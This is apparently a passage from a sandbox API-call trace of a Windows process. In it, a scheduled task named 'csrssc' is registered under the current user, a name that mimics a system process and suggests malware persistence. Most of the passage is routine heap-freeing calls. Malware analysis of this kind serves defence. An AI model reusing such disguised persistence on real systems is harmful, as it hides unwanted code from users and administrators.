(in: lpSystemTime=0x11cf98 | out: lpSystemTime=0x11cf98*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0x10, wSecond=0x34, wMilliseconds=0x2b1)) [0068.133] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x7feffcb0000 [0068.134] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetUserNameW") returned 0x7feffcc1fd0 [0068.134] GetUserNameW (in: lpBuffer=0x11cfc0, pcbBuffer=0x11cfa8 | out: lpBuffer="kEecfMwgj", pcbBuffer=0x11cfa8) returned 1 [0068.134] ITaskDefinition:get_RegistrationInfo (in: This=0x4d7cc0, ppRegistrationInfo=0x11cf90 | out: ppRegistrationInfo=0x11cf90*=0x4d7e00) returned 0x0 [0068.135] IRegistrationInfo:put_Author (This=0x4d7e00, Author="") returned 0x0 [0068.135] _vsnwprintf (in: _Buffer=0x11cfc0, _BufferCount=0x7f, _Format="%d-%02d-%02dT%02d:%02d:%02d", _ArgList=0x11cf58 | out: _Buffer="2023-09-19T17:16:52") returned 19 [0068.135] IRegistrationInfo:put_Date (This=0x4d7e00, Date="") returned 0x0 [0068.135] IUnknown:Release (This=0x4d7e00) returned 0x1 [0068.135] malloc (_Size=0x18) returned 0x4d7fb0 [0068.135] free (_Block=0x4d7fb0) [0068.135] lstrlenW (lpString="") returned 0 [0068.135] malloc (_Size=0x18) returned 0x4d7fb0 [0068.136] ITaskFolder:RegisterTaskDefinition (in: This=0x4d7c70, Path="csrssc", pDefinition=0x4d7cc0, flags=6, UserId=0x11d230*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x11d270*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x11f140, varVal2=0xfe), LogonType=3, sddl=0x11d250*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), ppTask=0x11d150 | out: ppTask=0x11d150*=0x4d6420) returned 0x0 [0068.342] free (_Block=0x4d7fb0) [0068.342] _memicmp (_Buf1=0x23bb90, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.342] LoadStringW (in: hInstance=0x0, uID=0x12e, lpBuffer=0x23d3a0, cchBufferMax=256 | out: lpBuffer="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 0x40 [0068.342] lstrlenW (lpString="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 64 [0068.342] GetProcessHeap () returned 0x220000 [0068.342] GetProcessHeap () returned 0x220000 [0068.342] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23d6c0) returned 1 [0068.342] GetProcessHeap () returned 0x220000 [0068.342] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23d6c0) returned 0xc [0068.342] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23d6c0 | out: hHeap=0x220000) returned 1 [0068.342] GetProcessHeap () returned 0x220000 [0068.342] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x82) returned 0x259af0 [0068.343] _vsnwprintf (in: _Buffer=0x11d890, _BufferCount=0x1fb, _Format="SUCCESS: The scheduled task \"%s\" has successfully been created.\n", _ArgList=0x11d0f8 | out: _Buffer="SUCCESS: The scheduled task \"csrssc\" has successfully been created.\n") returned 68 [0068.343] _fileno (_File=0x7feffe22ab0) returned -2 [0068.343] _errno () returned 0x4d4bb0 [0068.343] _get_osfhandle (_FileHandle=-2) returned 0xffffffffffffffff [0068.343] SetLastError (dwErrCode=0x6) [0068.343] lstrlenW (lpString="SUCCESS: The scheduled task \"csrssc\" has successfully been created.\n") returned 68 [0068.343] GetConsoleOutputCP () returned 0x0 [0068.343] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"csrssc\" has successfully been created.\n", cchWideChar=68, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 68 [0068.343] GetConsoleOutputCP () returned 0x0 [0068.343] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"csrssc\" has successfully been created.\n", cchWideChar=68, lpMultiByteStr=0xff411880, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SUCCESS: The scheduled task \"csrssc\" has successfully been created.\n", lpUsedDefaultChar=0x0) returned 68 [0068.343] fprintf (in: _File=0x7feffe22ab0, _Format="%s" | out: _File=0x7feffe22ab0) returned 68 [0068.343] fflush (in: _File=0x7feffe22ab0 | out: _File=0x7feffe22ab0) returned -1 [0068.343] IUnknown:Release (This=0x4d6420) returned 0x0 [0068.343] TaskScheduler:IUnknown:Release (This=0x4d7cc0) returned 0x0 [0068.343] TaskScheduler:IUnknown:Release (This=0x4d7c70) returned 0x0 [0068.344] TaskScheduler:IUnknown:Release (This=0x32dee0) returned 0x1 [0068.344] lstrlenW (lpString="") returned 0 [0068.344] lstrlenW (lpString="6") returned 1 [0068.344] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="6", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2 [0068.344] GetProcessHeap () returned 0x220000 [0068.344] GetProcessHeap () returned 0x220000 [0068.344] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23c450) returned 1 [0068.344] GetProcessHeap () returned 0x220000 [0068.344] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23c450) returned 0x1fc [0068.344] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23c450 | out: hHeap=0x220000) returned 1 [0068.344] GetProcessHeap () returned 0x220000 [0068.344] GetProcessHeap () returned 0x220000 [0068.344] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x237f40) returned 1 [0068.344] GetProcessHeap () returned 0x220000 [0068.344] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x237f40) returned 0x4 [0068.345] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x237f40 | out: hHeap=0x220000) returned 1 [0068.345] GetProcessHeap () returned 0x220000 [0068.345] GetProcessHeap () returned 0x220000 [0068.345] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23d620) returned 1 [0068.345] GetProcessHeap () returned 0x220000 [0068.345] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23d620) returned 0x16 [0068.345] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23d620 | out: hHeap=0x220000) returned 1 [0068.345] GetProcessHeap () returned 0x220000 [0068.345] GetProcessHeap () returned 0x220000 [0068.345] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23d600) returned 1 [0068.345] GetProcessHeap () returned 0x220000 [0068.345] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23d600) returned 0x18 [0068.345] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23d600 | out: hHeap=0x220000) returned 1 [0068.345] GetProcessHeap () returned 0x220000 [0068.345] GetProcessHeap () returned 0x220000 [0068.345] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23ce70) returned 1 [0068.345] GetProcessHeap () returned 0x220000 [0068.345] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23ce70) returned 0x20 [0068.345] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23ce70 | out: hHeap=0x220000) returned 1 [0068.345] GetProcessHeap () returned 0x220000 [0068.346] GetProcessHeap () returned 0x220000 [0068.346] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23c0f0) returned 1 [0068.346] GetProcessHeap () returned 0x220000 [0068.346] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23c0f0) returned 0xa0 [0068.346] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23c0f0 | out: hHeap=0x220000) returned 1 [0068.346] GetProcessHeap () returned 0x220000 [0068.346] GetProcessHeap () returned 0x220000 [0068.346] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23bb70) returned 1 [0068.346] GetProcessHeap () returned 0x220000 [0068.346] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23bb70) returned 0x18 [0068.346] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23bb70 | out: hHeap=0x220000) returned 1 [0068.346] GetProcessHeap () returned 0x220000 [0068.346] GetProcessHeap () returned 0x220000 [0068.346] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23cc30) returned 1 [0068.346] GetProcessHeap () returned 0x220000 [0068.346] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23cc30) returned 0x20 [0068.347] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23cc30 | out: hHeap=0x220000) returned 1 [0068.347] GetProcessHeap () returned 0x220000 [0068.347] GetProcessHeap () returned 0x220000 [0068.347] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x237c20) returned 1 [0068.347] GetProcessHeap () returned 0x220000 [0068.347] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x237c20) returned 0x34 [0068.347] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x237c20 | out: hHeap=0x220000) returned 1 [0068.347] GetProcessHeap () returned 0x220000 [0068.347] GetProcessHeap () returned 0x220000 [0068.347] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23d640) returned 1 [0068.347] GetProcessHeap () returned 0x220000 [0068.347] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23d640) returned 0x18 [0068.347] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23d640 | out: hHeap=0x220000) returned 1 [0068.347] GetProcessHeap () returned 0x220000 [0068.347] GetProcessHeap () returned 0x220000 [0068.347] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23cc00) returned 1 [0068.347] GetProcessHeap () returned 0x220000 [0068.347] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23cc00) returned 0x20 [0068.348] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23cc00 | out: hHeap=0x220000) returned 1 [0068.348] GetProcessHeap () returned 0x220000 [0068.348] GetProcessHeap () returned 0x220000 [0068.348] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x237ba0) returned 1 [0068.348] GetProcessHeap () returned 0x220000 [0068.348] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x237ba0) returned 0x36 [0068.348] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x237ba0 | out: hHeap=0x220000) returned 1 [0068.348] GetProcessHeap () returned 0x220000 [0068.348] GetProcessHeap () returned 0x220000 [0068.348] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23d5e0) returned 1 [0068.348] GetProcessHeap () returned 0x220000 [0068.348] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23d5e0) returned 0x18 [0068.348] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23d5e0 | out: hHeap=0x220000) returned 1 [0068.348] GetProcessHeap () returned 0x220000 [0068.348] GetProcessHeap () returned 0x220000 [0068.348] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23cbd0) returned 1 [0068.348] GetProcessHeap () returned 0x220000 [0068.348] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23cbd0) returned 0x20 [0068.349] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23cbd0 | out: hHeap=0x220000) returned 1 [0068.349] GetProcessHeap () returned 0x220000 [0068.349] GetProcessHeap () returned 0x220000 [0068.349] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23c430) returned 1 [0068.349] GetProcessHeap () returned 0x220000 [0068.349] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23c430) returned 0xe [0068.349] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23c430 | out: hHeap=0x220000) returned 1 [0068.349] GetProcessHeap () returned 0x220000 [0068.349] GetProcessHeap () returned 0x220000 [0068.349] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23c410) returned 1 [0068.349] GetProcessHeap () returned 0x220000 [0068.349] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23c410) returned 0x18 [0068.349] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23c410 | out: hHeap=0x220000) returned 1 [0068.349] GetProcessHeap () returned 0x220000 [0068.349] GetProcessHeap () returned 0x220000 [0068.349] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x235df0) returned 1 [0068.349] GetProcessHeap () returned 0x220000 [0068.349] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x235df0) returned 0x20 [0068.350] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x235df0 | out: hHeap=0x220000) returned 1 [0068.350] GetProcessHeap () returned 0x220000 [0068.350] GetProcessHeap () returned 0x220000 [0068.350] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23bcf0) returned 1 [0068.350] GetProcessHeap () returned 0x220000 [0068.350] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23bcf0) returned 0x208 [0068.350] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23bcf0 | out: hHeap=0x220000) returned 1 [0068.350] GetProcessHeap () returned 0x220000 [0068.350] GetProcessHeap () returned 0x220000 [0068.350] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23bb50) returned 1 [0068.350] GetProcessHeap () returned 0x220000 [0068.350] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23bb50) returned 0x18 [0068.350] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23bb50 | out: hHeap=0x220000) returned 1 [0068.350] GetProcessHeap () returned 0x220000 [0068.350] GetProcessHeap () returned 0x220000 [0068.350] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x235d00) returned 1 [0068.350] GetProcessHeap () returned 0x220000 [0068.350] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x235d00) returned 0x20 [0068.351] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x235d00 | out: hHeap=0x220000) returned 1 [0068.351] GetProcessHeap () returned 0x220000 [0068.351] GetProcessHeap () returned 0x220000 [0068.351] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23d3a0) returned 1 [0068.351] GetProcessHeap () returned 0x220000 [0068.351] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23d3a0) returned 0x200 [0068.351] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23d3a0 | out: hHeap=0x220000) returned 1 [0068.351] GetProcessHeap () returned 0x220000 [0068.351] GetProcessHeap () returned 0x220000 [0068.351] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23bb90) returned 1 [0068.351] GetProcessHeap () returned 0x220000 [0068.351] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23bb90) returned 0x18 [0068.351] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23bb90 | out: hHeap=0x220000) returned 1 [0068.351] GetProcessHeap () returned 0x220000 [0068.351] GetProcessHeap () returned 0x220000 [0068.351] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x235c70) returned 1 [0068.351] GetProcessHeap () returned 0x220000 [0068.351] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x235c70) returned 0x20 [0068.352] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x235c70 | out: hHeap=0x220000) returned 1 [0068.352] GetProcessHeap () returned 0x220000 [0068.352] GetProcessHeap () returned 0x220000 [0068.352] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23c300) returned 1 [0068.352] GetProcessHeap () returned 0x220000 [0068.352] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23c300) returned 0x14 [0068.352] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23c300 | out: hHeap=0x220000) returned 1 [0068.352] GetProcessHeap () returned 0x220000 [0068.352] GetProcessHeap () returned 0x220000 [0068.352] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23c2e0) returned 1 [0068.352] GetProcessHeap () returned 0x220000 [0068.352] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23c2e0) returned 0x18 [0068.352] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23c2e0 | out: hHeap=0x220000) returned 1 [0068.352] GetProcessHeap () returned 0x220000 [0068.352] GetProcessHeap () returned 0x220000 [0068.352] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x235bb0) returned 1 [0068.352] GetProcessHeap () returned 0x220000 [0068.352] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x235bb0) returned 0x20 [0068.353] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x235bb0 | out: hHeap=0x220000) returned 1 [0068.353] GetProcessHeap () returned 0x220000 [0068.353] GetProcessHeap () returned 0x220000 [0068.353] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23c320) returned 1 [0068.353] GetProcessHeap () returned 0x220000 [0068.353] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23c320) returned 0x16 [0068.353] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23c320 | out: hHeap=0x220000) returned 1 [0068.353] GetProcessHeap () returned 0x220000 [0068.353] GetProcessHeap () returned 0x220000 [0068.353] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23c1a0) returned 1 [0068.353] GetProcessHeap () returned 0x220000 [0068.353] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23c1a0) returned 0x18 [0068.353] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23c1a0 | out: hHeap=0x220000) returned 1 [0068.353] GetProcessHeap () returned 0x220000 [0068.353] GetProcessHeap () returned 0x220000 [0068.353] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x235b80) returned 1 [0068.353] GetProcessHeap () returned 0x220000 [0068.353] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x235b80) returned 0x20 [0068.353] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x235b80 | out: hHeap=0x220000) returned 1 [0068.353] GetProcessHeap () returned 0x220000 [0068.353] GetProcessHeap () returned 0x220000 [0068.354] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23bad0) returned 1 [0068.354] GetProcessHeap () returned 0x220000 [0068.354] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23bad0) returned 0x2 [0068.354] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23bad0 | out: hHeap=0x220000) returned 1 [0068.354] GetProcessHeap () returned 0x220000 [0068.354] GetProcessHeap () returned 0x220000 [0068.354] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x2359d0) returned 1 [0068.354] GetProcessHeap () returned 0x220000 [0068.354] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x2359d0) returned 0x20 [0068.354] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x2359d0 | out: hHeap=0x220000) returned 1 [0068.354] GetProcessHeap () returned 0x220000 [0068.354] GetProcessHeap () returned 0x220000 [0068.354] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x235a00) returned 1 [0068.354] GetProcessHeap () returned 0x220000 [0068.354] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x235a00) returned 0x20 [0068.354] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x235a00 | out: hHeap=0x220000) returned 1 [0068.355] GetProcessHeap () returned 0x220000 [0068.355] GetProcessHeap () returned 0x220000 [0068.355] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x235a30) returned 1 [0068.355] GetProcessHeap () returned 0x220000 [0068.355] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x235a30) returned 0x20 [0068.355] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x235a30 | out: hHeap=0x220000) returned 1 [0068.355] GetProcessHeap () returned 0x220000 [0068.355] GetProcessHeap () returned 0x220000 [0068.355] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x235a60) returned 1 [0068.355] GetProcessHeap () returned 0x220000 [0068.355] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x235a60) returned 0x20 [0068.355] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x235a60 | out: hHeap=0x220000) returned 1 [0068.355] GetProcessHeap () returned 0x220000 [0068.356] GetProcessHeap () returned 0x220000 [0068.356] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23cc60) returned 1 [0068.356] GetProcessHeap () returned 0x220000 [0068.356] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23cc60) returned 0x20 [0068.356] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23cc60 | out: hHeap=0x220000) returned 1 [0068.356] GetProcessHeap () returned 0x220000 [0068.356] GetProcessHeap () returned 0x220000 [0068.356] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23d740) returned 1 [0068.356] GetProcessHeap () returned 0x220000 [0068.356] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23d740) returned 0xe [0068.356] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23d740 | out: hHeap=0x220000) returned 1 [0068.356] GetProcessHeap () returned 0x220000 [0068.356] GetProcessHeap () returned 0x220000 [0068.356] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23cc90) returned 1 [0068.356] GetProcessHeap () returned 0x220000 [0068.356] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23cc90) returned 0x20 [0068.357] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23cc90 | out: hHeap=0x220000) returned 1 [0068.357] GetProcessHeap () returned 0x220000 [0068.357] GetProcessHeap () returned 0x220000 [0068.357] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x237b60) returned 1 [0068.357] GetProcessHeap () returned 0x220000 [0068.357] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x237b60) returned 0x30 [0068.357] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x237b60 | out: hHeap=0x220000) returned 1 [0068.357] GetProcessHeap () returned 0x220000 [0068.357] GetProcessHeap () returned 0x220000 [0068.357] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23ccc0) returned 1 [0068.357] GetProcessHeap () returned 0x220000 [0068.357] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23ccc0) returned 0x20 [0068.358] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23ccc0 | out: hHeap=0x220000) returned 1 [0068.358] GetProcessHeap () returned 0x220000 [0068.358] GetProcessHeap () returned 0x220000 [0068.358] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x237be0) returned 1 [0068.358] GetProcessHeap () returned 0x220000 [0068.358] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x237be0) returned 0x30 [0068.358] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x237be0 | out: hHeap=0x220000) returned 1 [0068.358] GetProcessHeap () returned 0x220000 [0068.358] GetProcessHeap () returned 0x220000 [0068.358] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23ce40) returned 1 [0068.358] GetProcessHeap () returned 0x220000 [0068.358] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23ce40) returned 0x20 [0068.359] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23ce40 | out: hHeap=0x220000) returned 1 [0068.359] GetProcessHeap () returned 0x220000 [0068.359] GetProcessHeap () returned 0x220000 [0068.359] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23d660) returned 1 [0068.359] GetProcessHeap () returned 0x220000 [0068.359] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23d660) returned 0xe [0068.359] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23d660 | out: hHeap=0x220000) returned 1 [0068.359] GetProcessHeap () returned 0x220000 [0068.359] GetProcessHeap () returned 0x220000 [0068.359] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23ce10) returned 1 [0068.359] GetProcessHeap () returned 0x220000 [0068.359] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23ce10) returned 0x20 [0068.359] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23ce10 | out: hHeap=0x220000) returned 1 [0068.359] GetProcessHeap () returned 0x220000 [0068.359] GetProcessHeap () returned 0x220000 [0068.359] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23d680) returned 1 [0068.359] GetProcessHeap () returned 0x220000 [0068.359] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23d680) returned 0x16 [0068.359] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23d680 | out: hHeap=0x220000) returned 1 [0068.359] GetProcessHeap () returned 0x220000 [0068.359] GetProcessHeap () returned 0x220000 [0068.359] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23cde0) returned 1 [0068.359] GetProcessHeap () returned 0x220000 [0068.360] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23cde0) returned 0x20 [0068.360] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23cde0 | out: hHeap=0x220000) returned 1 [0068.360] GetProcessHeap () returned 0x220000 [0068.360] GetProcessHeap () returned 0x220000 [0068.360] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23d6a0) returned 1 [0068.360] GetProcessHeap () returned 0x220000 [0068.360] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23d6a0) returned 0x16 [0068.360] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23d6a0 | out: hHeap=0x220000) returned 1 [0068.360] GetProcessHeap () returned 0x220000 [0068.360] GetProcessHeap () returned 0x220000 [0068.360] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23cdb0) returned 1 [0068.360] GetProcessHeap () returned 0x220000 [0068.360] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23cdb0) returned 0x20 [0068.361] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23cdb0 | out: hHeap=0x220000) returned 1 [0068.361] GetProcessHeap () returned 0x220000 [0068.361] GetProcessHeap () returned 0x220000 [0068.361] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x259af0) returned 1 [0068.361] GetProcessHeap () returned 0x220000 [0068.361] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x259af0) returned 0x82 [0068.361] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x259af0 | out: hHeap=0x220000) returned 1 [0068.361] GetProcessHeap () returned 0x220000 [0068.361] GetProcessHeap () returned 0x220000 [0068.361] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23cd80) returned 1 [0068.361] GetProcessHeap () returned 0x220000 [0068.361] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23cd80) returned 0x20 [0068.362] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23cd80 | out: hHeap=0x220000) returned 1 [0068.362] GetProcessHeap () returned 0x220000 [0068.362] GetProcessHeap () returned 0x220000 [0068.362] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23d6e0) returned 1 [0068.362] GetProcessHeap () returned 0x220000 [0068.362] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23d6e0) returned 0xe [0068.362] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23d6e0 | out: hHeap=0x220000) returned 1 [0068.362] GetProcessHeap () returned 0x220000 [0068.362] GetProcessHeap () returned 0x220000 [0068.362] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23cd50) returned 1 [0068.362] GetProcessHeap () returned 0x220000 [0068.362] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23cd50) returned 0x20 [0068.362] HeapFree 